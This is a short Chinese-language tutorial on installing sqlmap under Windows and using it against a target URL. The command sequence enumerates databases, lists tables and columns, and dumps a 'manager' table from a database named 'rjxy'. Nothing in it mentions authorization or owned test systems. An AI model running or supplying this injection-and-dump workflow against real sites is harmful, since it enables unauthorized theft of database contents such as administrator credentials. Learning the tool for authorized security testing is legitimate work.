1.sqlmap安装前需要搭建python环境,下载python最新版本下载地址:https://www.python.org/downloads/
下载完成Windows+r 打开cmd中输入python检查是否下好
下载python成功
2.下载sqlmap下载地址:http://sqlmap.org/
3.将下载的SQLMAP安装包解压到文件夹sqlmap中,并拷贝到自己下好的python目录下 例如“D:\Program Files\Python38”
4.然后在桌面新建立一个cmd的快捷方式,并命名为“sqlmap”
找到桌面上的快捷方式如下
输入对象位置是cmd
名称sqlmap
5.然后在新建快捷方式上右键“属性”,将“起始位置”修改为 D:\Program Files\Python38\sqlmap,然后点击确定
6. 双击刚才创建的快捷方式,输入sqlmap.py -h,出现如下信息则表示安装成功
7.输入python sqlmap.py -u 复制地址到sqlmap里面去然后开始测试
8. --dbs可以利用的数据库
python sqlmap.py -u “url” --dbs
9.–tables列数据库表
python sqlmap.py -u “url” --tables -D “rjxy”
-D:指定数据名称
10.–columns 列出表中的列名
python sqlmap.py -u “url” --columns -T “manager” -D “rjxy”
-T:指定表名,-D:指定库名
11.–dump列表中指定列的内容
python sqlmap.py -u “url” --dump -T “manager” -D “rjxy"
-C:可以指定字段。。。